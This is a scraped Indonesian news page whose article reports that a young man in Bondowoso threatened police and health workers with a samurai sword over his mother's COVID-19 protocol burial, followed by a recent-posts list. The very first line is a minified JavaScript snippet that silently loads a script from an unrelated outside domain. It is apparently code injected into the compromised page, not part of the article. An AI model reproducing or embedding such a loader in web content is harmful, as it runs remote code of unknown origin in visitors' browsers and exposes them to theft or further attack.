(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pemuda Bondowoso Bawa Samurai Ancam Bakar RS Tolak Pemakaman Covid Ibunya


KANALKALIMANTAN.COM, BONDOWOSO – Aparat kepolisian Bondowoso, Jawa Timur, membekuk seorang pemuda berinisial S (20) yang mengamuk menolak pemakaman protokol Covid-19 di Desa Kajar, Kecamatan Tenggarang.

Pemuda ini mengancam polisi dan petugas kesehatan menggunakan senjata tajam (Sajam). Ia bahkan akan membakar mobil polisi.

S nekat mengancam aparat lantaran menolak pemakaman almarhum ibunya dengan protokol Covid-19.

Kepada polisi dan petugas pemakaman, S berteriak-teriak agar ibunya tidak dimakamkan secara protokol Covid. Ia juga mengaku tak percaya adanya Corona tersebut.

Kejadian itu dibenarkan oleh AKBP Erick Frendriz, Kapolres Bondowoso pada media.

“Betul. Ada penolakan dari anaknya. Agar ibunya tidak dimakamkan secara protokol COVID-19,” kata AKBP Erick Frendriz di mapolres setempat, seperti dikutip dari suaraindonesia.co.id, jejaring media suara.com, Kamis (11/2/2021).

Lebih lanjut, AKBP Erick menjelaskan, pemuda tersebut tidak mau almarhumah ibunya yang meninggal karena terpapar Covid dimakamkan dengan protokol Covid-19.

Erick menuturkan, Polisi sudah melakukan upaya persuasif dengan melibatkan Kades dan tokoh masyarakat setempat. Namun si anaknya tersebut tetap keras menolak dimakamkan secara COVID-19.

Bahkan kata Erick, pemuda itu mengancam aparat dengan menggunakan samurai dan akan membakar mobil polisi.

“Karena mengancam keselamatan aparat dan petugas kesehatan, sementara pemuda tersebut terpaksa kami amankan,” katanya.

Data dihimpun, kejadian bermula saat Maryati (41), warga Desa Kajar, Tenggarang, dinyatakan meninggal karena positif Covid-19 di RSUD dr Koesnadi, berdasarkan hasil Swab PCR.

Proses pemulasaraan jenazah akhirnya menggunakan protokol kesehatan COVID-19. Juga melibatkan sebagian anggota keluarga dengan APD lengkap dan sesuai syariat Islam.

Namun pada saat proses pemakaman di desa setempat terjadi penolakan keras oleh salah satu anak penyintas, yakni inisial S (20), juga warga setempat. Ia ngotot agar ibunya dimakamkan secara umum, karena ia tak pernah percaya Covid-19.

Tak tanggung-tanggung, ia mengancam akan membakar rumah sakit, serta mobil polisi. Bahkan, dengan sajam samurai ia juga mengancam petugas jika jenazah ibunya dimakamkan secara protokol COVID-19.

Puluhan aparat terdiri Ton Dalmas Polres, Kodim, Satpol PP, dan lainnya akhirnya diterjunkan untuk mengantisipasi hal terburuk serta membubarkan kerumunan massa.

Pun melakukan upaya dengan berkoordinasi dengan Kepala Dusun (Kadus), Kades, tokoh masyarakat setempat, serta anggota keluarga lainnya untuk membujuk agar si anak mau menerima pemakaman secara protokol COVID-19.(Suara)

Editor : Suara 

 

 


Al Ghifari

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

5 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

6 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

9 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

9 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

10 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

10 jam ago

This website uses cookies.